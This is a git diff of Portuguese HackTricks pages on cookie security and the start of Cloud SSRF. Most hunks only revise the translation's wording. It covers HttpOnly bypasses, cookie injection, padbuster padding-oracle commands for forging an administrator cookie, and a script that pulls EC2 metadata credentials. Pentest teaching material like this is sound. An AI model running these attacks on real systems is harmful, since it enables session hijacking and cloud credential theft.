* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -32,7 +32,7 @@ A data de expiração de um cookie é determinada pelo atributo `Expires`. Por o
|
||||||
|
|
||||||
### Domínio
|
### Domínio
|
||||||
|
|
||||||
Os hosts que recebem um cookie são especificados pelo atributo `Domain`. Por padrão, isso é definido como o host que emitiu o cookie, sem incluir seus subdomínios. No entanto, quando o atributo `Domain` é definido explicitamente, ele abrange também os subdomínios. Isso torna a especificação do atributo `Domain` uma opção menos restritiva, útil para cenários em que o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir `Domain=mozilla.org` torna os cookies acessíveis em seus subdomínios como `developer.mozilla.org`.
|
Os hosts para receber um cookie são especificados pelo atributo `Domain`. Por padrão, isso é definido como o host que emitiu o cookie, sem incluir seus subdomínios. No entanto, quando o atributo `Domain` é definido explicitamente, ele abrange também os subdomínios. Isso torna a especificação do atributo `Domain` uma opção menos restritiva, útil para cenários em que o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir `Domain=mozilla.org` torna os cookies acessíveis em seus subdomínios como `developer.mozilla.org`.
|
||||||
|
|
||||||
### Caminho
|
### Caminho
|
||||||
|
|
||||||
|
@ -48,9 +48,9 @@ Quando dois cookies têm o mesmo nome, o escolhido para envio é baseado em:
|
||||||
### SameSite
|
### SameSite
|
||||||
|
|
||||||
* O atributo `SameSite` dita se os cookies são enviados em solicitações originadas de domínios de terceiros. Ele oferece três configurações:
|
* O atributo `SameSite` dita se os cookies são enviados em solicitações originadas de domínios de terceiros. Ele oferece três configurações:
|
||||||
* **Strict**: Restringe o cookie de ser enviado em solicitações de terceiros.
|
* **Estrito**: Restringe o cookie de ser enviado em solicitações de terceiros.
|
||||||
* **Lax**: Permite que o cookie seja enviado com solicitações GET iniciadas por sites de terceiros.
|
* **Lax**: Permite que o cookie seja enviado com solicitações GET iniciadas por sites de terceiros.
|
||||||
* **None**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
|
* **Nenhum**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
|
||||||
|
|
||||||
Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garantir que eles se comportem conforme o esperado em diferentes cenários.
|
Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garantir que eles se comportem conforme o esperado em diferentes cenários.
|
||||||
|
|
||||||
|
@ -68,7 +68,7 @@ Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cooki
|
||||||
Um cookie com atributo _**SameSite**_ irá **mitigar ataques CSRF** onde uma sessão logada é necessária.
|
Um cookie com atributo _**SameSite**_ irá **mitigar ataques CSRF** onde uma sessão logada é necessária.
|
||||||
|
|
||||||
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||||
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de alto nível.**
|
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como Nenhum** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de nível superior.**
|
||||||
|
|
||||||
## Flags de Cookies
|
## Flags de Cookies
|
||||||
|
|
||||||
|
@ -76,11 +76,11 @@ Observe que temporariamente, após aplicar essa alteração, os **cookies sem um
|
||||||
|
|
||||||
Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `document.cookie`)
|
Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `document.cookie`)
|
||||||
|
|
||||||
#### **Burlas**
|
#### **Bypasses**
|
||||||
|
|
||||||
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação para esta página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a essa página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||||
* Isso poderia ser Burlado com solicitações **HTTP TRACE** como a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
|
* Isso poderia ser Bypassed com solicitações **HTTP TRACE** como a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
|
||||||
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, foram encontradas algumas formas de burlar isso em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns bypasses para isso foram encontrados em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
||||||
* Outra maneira é a exploração de vulnerabilidades zero/day dos navegadores.
|
* Outra maneira é a exploração de vulnerabilidades zero/day dos navegadores.
|
||||||
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de overflow do Cookie Jar:
|
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de overflow do Cookie Jar:
|
||||||
|
|
||||||
|
@ -92,7 +92,7 @@ Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `
|
||||||
|
|
||||||
### Seguro
|
### Seguro
|
||||||
|
|
||||||
A solicitação enviará o cookie **apenas** em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
A solicitação enviará o cookie apenas em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
||||||
|
|
||||||
## Prefixos de Cookies
|
## Prefixos de Cookies
|
||||||
|
|
||||||
|
@ -105,7 +105,7 @@ Para cookies prefixados com `__Host-`, várias condições devem ser atendidas:
|
||||||
* É proibido especificar um domínio para eles, impedindo sua transmissão para subdomínios.
|
* É proibido especificar um domínio para eles, impedindo sua transmissão para subdomínios.
|
||||||
* O caminho para esses cookies deve ser definido como `/`.
|
* O caminho para esses cookies deve ser definido como `/`.
|
||||||
|
|
||||||
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar os cookies da aplicação. Assim, empregar o prefixo `__Host-` para todos os cookies da aplicação pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
|
É importante observar que cookies prefixados com `__Host-` não podem ser enviados para superdomínios ou subdomínios. Essa restrição ajuda a isolar os cookies de aplicativos. Assim, empregar o prefixo `__Host-` para todos os cookies de aplicativos pode ser considerado uma boa prática para melhorar a segurança e a isolamento.
|
||||||
### Sobrescrevendo cookies
|
### Sobrescrevendo cookies
|
||||||
|
|
||||||
Portanto, uma das proteções dos cookies prefixados com `__Host-` é impedir que sejam sobrescritos por subdomínios. Prevenindo, por exemplo, ataques de [**Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o analisador, por exemplo, adicionando "=" no início ou no início e no final...:
|
Portanto, uma das proteções dos cookies prefixados com `__Host-` é impedir que sejam sobrescritos por subdomínios. Prevenindo, por exemplo, ataques de [**Cookie Tossing**](cookie-tossing.md). Na palestra [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**artigo**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) é apresentado que foi possível definir cookies prefixados com \_\_HOST- a partir de subdomínios, enganando o analisador, por exemplo, adicionando "=" no início ou no início e no final...:
|
||||||
|
@ -160,13 +160,13 @@ Esse ataque força um usuário logado a executar ações indesejadas em um aplic
|
||||||
|
|
||||||
### Cookies Vazios
|
### Cookies Vazios
|
||||||
|
|
||||||
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Os navegadores permitem a criação de cookies sem nome, o que pode ser demonstrado por meio de JavaScript da seguinte forma:
|
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Navegadores permitem a criação de cookies sem nome, o que pode ser demonstrado por meio de JavaScript da seguinte forma:
|
||||||
```js
|
```js
|
||||||
document.cookie = "a=v1"
|
document.cookie = "a=v1"
|
||||||
document.cookie = "=test value;" // Setting an empty named cookie
|
document.cookie = "=test value;" // Setting an empty named cookie
|
||||||
document.cookie = "b=v2"
|
document.cookie = "b=v2"
|
||||||
```
|
```
|
||||||
O resultado no cabeçalho do cookie enviado é `a=v1; test value; b=v2;`. Curiosamente, isso permite a manipulação de cookies se um cookie com nome vazio for definido, potencialmente controlando outros cookies ao definir o cookie vazio para um valor específico:
|
O resultado no cabeçalho do cookie enviado é `a=v1; valor de teste; b=v2;`. Curiosamente, isso permite a manipulação de cookies se um cookie com nome vazio for definido, potencialmente controlando outros cookies ao definir o cookie vazio para um valor específico:
|
||||||
```js
|
```js
|
||||||
function setCookie(name, value) {
|
function setCookie(name, value) {
|
||||||
document.cookie = `${name}=${value}`;
|
document.cookie = `${name}=${value}`;
|
||||||
|
@ -176,9 +176,9 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
||||||
```
|
```
|
||||||
Isso leva o navegador a enviar um cabeçalho de cookie interpretado por todos os servidores da web como um cookie chamado `a` com um valor `b`.
|
Isso leva o navegador a enviar um cabeçalho de cookie interpretado por todos os servidores da web como um cookie chamado `a` com um valor `b`.
|
||||||
|
|
||||||
#### Bug no Chrome: Problema com Ponto de Código de Substituto Unicode
|
#### Bug no Chrome: Problema com Ponto de Código Substituto Unicode
|
||||||
|
|
||||||
No Chrome, se um ponto de código de substituto Unicode fizer parte de um cookie definido, `document.cookie` fica corrompido, retornando subsequentemente uma string vazia:
|
No Chrome, se um ponto de código substituto Unicode fizer parte de um cookie definido, `document.cookie` se corrompe, retornando subsequentemente uma string vazia:
|
||||||
```js
|
```js
|
||||||
document.cookie = "\ud800=meep";
|
document.cookie = "\ud800=meep";
|
||||||
```
|
```
|
||||||
|
@ -186,39 +186,39 @@ Isso resulta em `document.cookie` produzindo uma string vazia, indicando corrup
|
||||||
|
|
||||||
#### Contrabando de Cookies Devido a Problemas de Análise
|
#### Contrabando de Cookies Devido a Problemas de Análise
|
||||||
|
|
||||||
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado ao RFC2965. Eles leem um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveria separar pares chave-valor:
|
(Verifique mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) Vários servidores web, incluindo os de Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), lidam incorretamente com strings de cookies devido ao suporte desatualizado ao RFC2965. Eles leem um valor de cookie entre aspas duplas como um único valor, mesmo que inclua ponto e vírgula, que normalmente deveriam separar pares chave-valor:
|
||||||
```
|
```
|
||||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
#### Vulnerabilidades de Injeção de Cookies
|
#### Vulnerabilidades de Injeção de Cookies
|
||||||
|
|
||||||
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) A análise incorreta de cookies por servidores, especialmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que atacantes falsifiquem cookies:
|
(Consulte mais detalhes na [pesquisa original](https://blog.ankursundara.com/cookie-bugs/)) A análise incorreta de cookies pelos servidores, especialmente Undertow, Zope e aqueles que usam `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` do Python, cria oportunidades para ataques de injeção de cookies. Esses servidores falham em delimitar corretamente o início de novos cookies, permitindo que os atacantes falsifiquem cookies:
|
||||||
|
|
||||||
- Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto e vírgula.
|
- Undertow espera um novo cookie imediatamente após um valor entre aspas sem ponto e vírgula.
|
||||||
- Zope procura por uma vírgula para iniciar a análise do próximo cookie.
|
- Zope procura por uma vírgula para iniciar a análise do próximo cookie.
|
||||||
- As classes de cookies do Python começam a análise em um caractere de espaço.
|
- As classes de cookies do Python começam a análise em um caractere de espaço.
|
||||||
|
|
||||||
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que os atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a bypass de autorização quando cookies são enviados para servidores back-end suscetíveis a falsificação.
|
Essa vulnerabilidade é particularmente perigosa em aplicações web que dependem de proteção CSRF baseada em cookies, pois permite que os atacantes injetem cookies de token CSRF falsificados, potencialmente contornando medidas de segurança. O problema é agravado pelo tratamento de nomes de cookies duplicados pelo Python, onde a última ocorrência substitui as anteriores. Também levanta preocupações para cookies `__Secure-` e `__Host-` em contextos inseguros e pode levar a bypasses de autorização quando os cookies são enviados para servidores back-end suscetíveis a falsificação.
|
||||||
|
|
||||||
### Verificações Extras de Cookies Vulneráveis
|
### Verificações Extras de Cookies Vulneráveis
|
||||||
|
|
||||||
#### **Verificações Básicas**
|
#### **Verificações básicas**
|
||||||
|
|
||||||
- O **cookie** é o **mesmo** toda vez que você **faz login**.
|
- O **cookie** é o **mesmo** toda vez que você **faz login**.
|
||||||
- Faça logout e tente usar o mesmo cookie.
|
- Faça logout e tente usar o mesmo cookie.
|
||||||
- Tente fazer login com 2 dispositivos (ou navegadores) na mesma conta usando o mesmo cookie.
|
- Tente fazer login com 2 dispositivos (ou navegadores) na mesma conta usando o mesmo cookie.
|
||||||
- Verifique se o cookie contém alguma informação e tente modificá-lo.
|
- Verifique se o cookie contém alguma informação e tente modificá-lo.
|
||||||
- Tente criar várias contas com usernames quase iguais e verifique se consegue ver semelhanças.
|
- Tente criar várias contas com usernames quase iguais e verifique se consegue ver semelhanças.
|
||||||
- Verifique a opção de "**lembrar-me**" se existir para ver como funciona. Se existir e puder ser vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
|
- Verifique a opção de "**lembrar-me**", se existir, para ver como funciona. Se existir e for vulnerável, sempre use o cookie de **lembrar-me** sem nenhum outro cookie.
|
||||||
- Verifique se o cookie anterior funciona mesmo depois de alterar a senha.
|
- Verifique se o cookie anterior funciona mesmo depois de você alterar a senha.
|
||||||
|
|
||||||
#### **Ataques Avançados de Cookies**
|
#### **Ataques avançados de cookies**
|
||||||
|
|
||||||
Se o cookie permanecer o mesmo (ou quase) ao fazer login, isso provavelmente significa que o cookie está relacionado a algum campo de sua conta (provavelmente o nome de usuário). Então você pode:
|
Se o cookie permanecer o mesmo (ou quase) ao fazer login, isso provavelmente significa que o cookie está relacionado a algum campo da sua conta (provavelmente o nome de usuário). Então você pode:
|
||||||
|
|
||||||
- Tente criar muitas **contas** com usernames muito **semelhantes** e tente **adivinhar** como o algoritmo está funcionando.
|
- Tente criar muitas **contas** com usernames muito **semelhantes** e tente **adivinhar** como o algoritmo está funcionando.
|
||||||
- Tente **bruteforce no username**. Se o cookie salvar apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentará será o pertencente ao "**admin**".
|
- Tente **bruteforce no username**. Se o cookie salvar apenas como um método de autenticação para seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **bruteforce** cada **bit** do seu cookie porque um dos cookies que você tentará será o pertencente ao "**admin**".
|
||||||
- Tente **Padding Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
|
- Tente **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
|
||||||
|
|
||||||
**Padding Oracle - Exemplos do Padbuster**
|
**Padding Oracle - Exemplos do Padbuster**
|
||||||
```bash
|
```bash
|
||||||
|
@ -230,11 +230,11 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
||||||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||||
```
|
```
|
||||||
Padbuster fará várias tentativas e perguntará qual é a condição de erro (aquela que não é válida).
|
Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (aquela que não é válida).
|
||||||
|
|
||||||
Em seguida, ele começará a descriptografar o cookie (isso pode levar vários minutos).
|
Em seguida, ele começará a descriptografar o cookie (isso pode levar vários minutos).
|
||||||
|
|
||||||
Se o ataque for realizado com sucesso, então você poderá tentar criptografar uma string de sua escolha. Por exemplo, se você quiser **criptografar** **user=administrador**.
|
Se o ataque for realizado com sucesso, então você poderia tentar criptografar uma string de sua escolha. Por exemplo, se você quisesse **criptografar** **user=administrador**
|
||||||
```
|
```
|
||||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||||
```
|
```
|
||||||
|
@ -252,7 +252,7 @@ Talvez um cookie possa ter algum valor e ser assinado usando CBC. Então, a inte
|
||||||
|
|
||||||
**ECB**
|
**ECB**
|
||||||
|
|
||||||
Se o cookie for criptografado usando ECB, ele pode ser vulnerável.\
|
Se o cookie for criptografado usando ECB, pode ser vulnerável.\
|
||||||
Quando você faz login, o cookie que você recebe deve ser sempre o mesmo.
|
Quando você faz login, o cookie que você recebe deve ser sempre o mesmo.
|
||||||
|
|
||||||
**Como detectar e atacar:**
|
**Como detectar e atacar:**
|
||||||
|
@ -270,7 +270,7 @@ Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -281,7 +281,7 @@ Deve haver um padrão (com o tamanho de um bloco usado). Assim, sabendo como um
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenha [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
|
@ -1,22 +1,22 @@
|
||||||
# Cloud SSRF
|
# SSRF na Nuvem
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
- Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -96,7 +96,7 @@ echo ""
|
||||||
echo "EC2 Security Credentials"
|
echo "EC2 Security Credentials"
|
||||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||||
```
|
```
|
||||||
Como exemplo de credenciais IAM **publicamente disponíveis** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
Como exemplo de **credenciais IAM publicamente disponíveis** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||||
|
|
||||||
Você também pode verificar as **credenciais de segurança EC2 públicas** em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
Você também pode verificar as **credenciais de segurança EC2 públicas** em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||||
|
|
||||||
|
@ -111,11 +111,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||||
```
|
```
|
||||||
Observe o **aws\_session\_token**, isso é indispensável para o perfil funcionar.
|
Observe o **aws\_session\_token**, isso é indispensável para o perfil funcionar.
|
||||||
|
|
||||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalá-los
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalá-los.
|
||||||
|
|
||||||
### SSRF no AWS ECS (Serviço de Contêineres) credenciais
|
### SSRF nas credenciais do AWS ECS (Serviço de Contêiner)
|
||||||
|
|
||||||
